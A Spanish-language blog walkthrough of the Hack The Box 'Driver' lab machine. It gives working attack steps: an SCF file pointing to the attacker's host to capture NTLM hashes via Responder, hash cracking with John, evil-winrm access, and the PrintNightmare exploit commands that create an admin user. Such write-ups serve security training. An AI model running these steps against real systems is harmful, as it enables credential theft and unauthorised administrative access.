domingo, 6 de febrero de 2022

Escrito sobre la maquina driver de Hack The Box

 

Intro

Es una máquina fácil, para ella usaré una máquina virtual con parrot linux recién instalado.

Escaneo inicial

Nmap -sC -sV -oA driver 10.10.11.106

-sC    Ejecuta los scripts por defecto. ¡Ojo hay scripts considerados intrusivos no los utilices contra una red de la que no tengas permiso!

-sV   Se puede emplear -A en su lugar, pero devuelve más datos y no es necesario.

-oA   Seguido del nombre de archivo en el que quiero que guarde el escaneo, en este caso drive, pasa los resultados a todos los formatos (.nmap .xml .gnmap) y lo deja “grepeable” que puede usar grep.

 


Encontramos un puerto 80 http vamos a la web y pide usuario y contraseña, como siempre probamos con las típicas, con usuario:admin y contraseña:admin deja entrar. Esto no es nada extraño la mayoría de impresoras o no tienen contraseña o tienen una contraseña ridícula.

 

Encontramos el panel de una impresora navegando por las opciones la única que hace algo es la de firmware update, selecciono un archivo cualquiera y lo acepta.

Dice que el archivo ha sido cargado y que alguien lo revisara.

 

Perdiendo el tiempo con Burpsuite y FFUZ

Ya que tenemos un acceso, se puede probar con un fuzzer, con dirbuster, gobuster, cambiar y seguir las respuestas web con burpsuite (que aunque lo hice no lo documente). En este caso pruebo con ffuz y no consigo nada, esto es así vas probando caminos hasta que das con el que te permite seguir avanzando.

Instalo ffuf (Fuzz Faster U Fool) ya que no viene en la distribución de Parrot Linux.

Sudo apt install ffuf

 

Cosas que se van aprendiendo con la práctica, admin:admin codificado a Base64 es YWRtaW46YWRtaW4=  Cuando usemos APIS una de las autenticaciones es por texto plano en Base64 que es la de esta máquina, hay muchas. (Aunque para sistemas más críticos, se utilizan hashes o sistemas de llaves, claves públicas, etc.).

Dejo enlace a documentación de IBM, explicando como hacer peticiones a su API.

https://www.ibm.com/docs/es/ibm-mq/9.1?topic=security-using-http-basic-authentication-rest-api

Dicho lo cual.

Una autenticación básica HTTP con REST API, se puede crear un cabecero como el siguiente para mandar las peticiones web.

Authorization: Basic YWRtaW46YWRtaW4=

Pues al lío, veamos que encontramos fuzzeando esa web con el usuario autenticado.

El archivo big.txt viene por defecto, creo que en Kali Linux también esta, es como su nombre indica un archivo grande de palabras típicas en servidores web.

ffuf -c -H 'Authentication: Basic YWRtaW46YWRtaW4=' -w /usr/share/wordlists/dirb/big.txt -u http://10.10.11.106/FUZZ -e .php,.zip,.txt,.pdf

-c saca la salida por consola con colorines, se ven más rápido los resultados.

-w ruta de lista de palabras, opcional palabra separada por: dos puntos en este caso no, pero podría poner. Uso big.txt

-H Header, cabezera "Name:Value" separados por una coma, Multiple -H flags se pueden usar

-u target url

-e extensiones separadas por coma, extiende la FUZZ keyword

 


Retomando el camino, más bien continuando pero por otro camino perdido.

En el escaneo inicial, teníamos un puerto SMB, pero no nos deja hacer gran cosa con él.

Pruebo a listar o conectar con smbclient sin usuario como anónimo y no consigo nada

smbclient -L 10.10.11.106

smbclient -L 10.10.11.106 -U

smbclient -U ‘ ‘ 10.10.11.106

Quiero probar el crackmapexec  aunque ya está claro por donde va la máquina, dibujito de una impresora se llama driver y hace poco salió el fallo Printnightmare de Microsoft

 

Instalando y usando crackmapexec

Necesita python 3 y recomienda usar pipx por que aísla todas sus dependencias

apt-get install python3-venv

 

python3 -m pip install pipx

pipx ensurepath

pipx install crackmapexec

cme es la abreviación de crackmapexec hago las típicas búsquedas, araño un poco de información, pero nada que sirva.

cme smb 10.10.11.106 –shares

y devuelve

SMB         10.10.11.106    445    DRIVER           [*] Windows 10 Enterprise 10240 x64 (name:DRIVER) (domain:DRIVER) (signing:False) (SMBv1:True)

 


Enumero con usuario y pasword en blanco y nada


Solucionando la máquina

Retomemos, tenemos una impresora, podemos subir un archivo que alguien va a revisar y tenemos una conexión SMB, a la que sin usuario y password no podemos acceder.

Emplear un archivo SFC para capturar los hashes de quien se conecte, y luego crackearlos para obtener su contraseña.

Resumido un archivo SFC es un archivo muy básico con el que el explorador de archivos de Windows se entiende, por ejemplo, para saber que miniatura o icono tiene que mostrar.

Vamos a abusar de este archivo para qué nos envié los hashes NTLMv1/2 de todos los usuarios que accedan a una carpeta en la que este ese archivo.

La idea es subirlo con la actualización del firmware, la persona que compruebe la carpeta sin saberlo, nos mandara sus hashes solo con acceder y sin realizar ninguna acción solo con abrir la carpeta son nuestros.

Para ello creamos un archivo con este contenido, la ip 10.10.14.2 es la de mi máquina donde pondré un responder para cuando reciba las peticiones de test.ico

[Shell]

Command=2

IconFile=\\10.10.14.2\share\test.ico

[Taskbar]

Command=ToggleDesktop

 

Guardamos como: NOMBREQUEQUIERAS.SCF

Si no da el cante mucho mejor y si le pones delante un 1 para que sea de lo primero en cargar también, por ejemplo 1TMP.SCF

 

Preparamos el responder

responder -wrf --lm -v -I tun0

-I tun0    va a responder por a Interface tun0  con ifconfig he visto que interface estaba usando, como estoy en un tunnel ipsec en mi caso pues es tun0 otros podréis ser eth0 eth1 wlan0 etc.

-wrf  lo típico, (es casi el estándar del responder).

lm para que haga downgrade en xp y sever 2003

v para que nos muestre en consola lo que va sucediendo.


Seleccionamos el archivo, le damos a submit y miramos la ventana del responder.


Subo el archivo otra vez y captura otros hashes distintos del mismo usuario.

Ctrl+c para salir

Copio únicamente los hashes en un archivo.

Una fila un hash, de esta manera:

PONGOALGOINVENTADO::NOESELORIGINAL:4f1c8e4d55150988:2B0067E04F1E0CD09B44382D4E32BB82:01010000000000008DC65B6D821AD801907826F2F909C70E00000000020000000000000000000000

NOQUIEROHACER::SPOILER:e25a12bb9fd4273e:40E3864027B693D4DC0864CC92DC7B60:0101000000000000A63D906D821AD80139C06452D451D28B00000000020000000000000000000000

John the ripper

Preparo john de ripper para petarlos, como le voy a pasar el rockyou (archivo con muchas claves compiladas que se usa en las CTF y que viene incluido en las distribuciones  de pentesting).

Está comprimido para descomprimirlo en su dirección, /usr/share/wordlists/

sudo gzip -d rockyou.txt.gz

El nombre de archivo que he puesto es hasesparapetar

Y lanzo

john hasesparapetar --wordlist=/usr/share/wordlists/rockyou.txt


Wow eso fue rápido, en un segundo o menos tenemos el password para ese hash

--ESTESERIA EL USUARIO tiene ESTESERIA EL PASSWORD de password

Se puede confirmar pasando

john hasesparapetar –show

Entrar como usuario

Usamos evil-winrm

-i para especificar la ip a la que conectamos

-u para el usuario

-p pasa la clave



evil-winrm -i 10.10.11.106 -u USUARIO -p PASSWORD

Voy a la carpeta de Desktop y un Get-Content user.txt muestra el flag de user


Enumerar opciones para escalar privilegios y escalar a administrador

Descargo winpeas a mi máquina y en la máquina atacada se lo subo

upload /home/htb-USUARIO/my_data/drivermaquina10.10.11.106/winPEASany.exe

y lo ejecuto

*Evil-WinRM* PS C:\Users\USUARIO\Documents> ./winPEASany.exe

Da mucha información, pero como estoy cansado voy directo al grano.

Busco por internet algún exploit de PrintNightmare

Elijo el de Caleb Stewart y John Hammond, ya que John Hammond me mola en su canal de YouTube y suele ser muy didáctico y minucioso.

 

Descargo en mi equipo el exploit

git clone https://github.com/calebstewart/CVE-2021-1675

En la máquina remota subo el ps1

upload /home/htb-USUARIO/my_data/drivermaquina10.10.11.106/CVE-2021-1675/CVE-2021-1675.ps1

 

Ejecuto me da error… me quiero ir a dormir… ostras lo de siempre con powershell tengo restricted  ya sabéis que la ejecución de scripts de powershell suele estar en modo restringido.

 

Lo cambio, ejecuto el exploit y me creo un usuario

*Evil-WinRM* PS C:\Users\USUARIO\Documents> Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy Unrestricted -Force

*Evil-WinRM* PS C:\Users\USUARIO\Documents> Import-Module .\CVE-2021-1675.ps1

*Evil-WinRM* PS C:\Users\USUARIO\Documents> Invoke-Nightmare -NewUser "ELQUESEA" -NewPassword "Zaq123456"


Pero...

No funciona, miro servicios no tiene el spooler, puede ser que alguien en la misma máquina haya hecho alguna fechoría como no soy admin no puedo hacer un sc start spooler. Reinicio la máquina.

Ejecuto lo anterior

Exit para salir del Evil-Winrm

Conecto con el usuario creado y Get-Content root.txt

No hay comentarios:

Publicar un comentario

Según la ley de Ohm, la intensidad de la corriente es igual al voltaje dividido por la resistencia que oponen los cuerpos.
Comenta lo que quieras, agradece o consulta tus dudas, siempre que pueda te responderé, Saludos!